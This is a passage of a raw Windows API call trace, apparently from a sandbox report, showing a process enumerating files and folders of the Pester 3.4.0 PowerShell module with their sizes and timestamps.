ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0269.595] GetProcessHeap () returned 0xc10000 [0269.595] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0269.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0269.596] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.597] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0269.597] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0269.597] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0269.597] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0269.597] GetProcessHeap () returned 0xc10000 [0269.597] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0269.597] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0269.597] GetProcessHeap () returned 0xc10000 [0269.597] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0269.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0269.598] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.598] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0269.598] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0269.598] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0269.598] GetProcessHeap () returned 0xc10000 [0269.598] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0269.598] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0269.598] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0269.598] GetProcessHeap () returned 0xc10000 [0269.598] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.598] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0269.598] GetProcessHeap () returned 0xc10000 [0269.598] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0269.601] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.601] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0269.602] GetProcessHeap () returned 0xc10000 [0269.602] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0269.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0269.607] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.607] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLike.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLike.Tests.ps1", cAlternateFileName="")) returned 1 [0269.608] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLikeExactly.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLikeExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeOfType.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeOfType.Tests.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0269.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987e10f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987e10f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987e10f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1340, 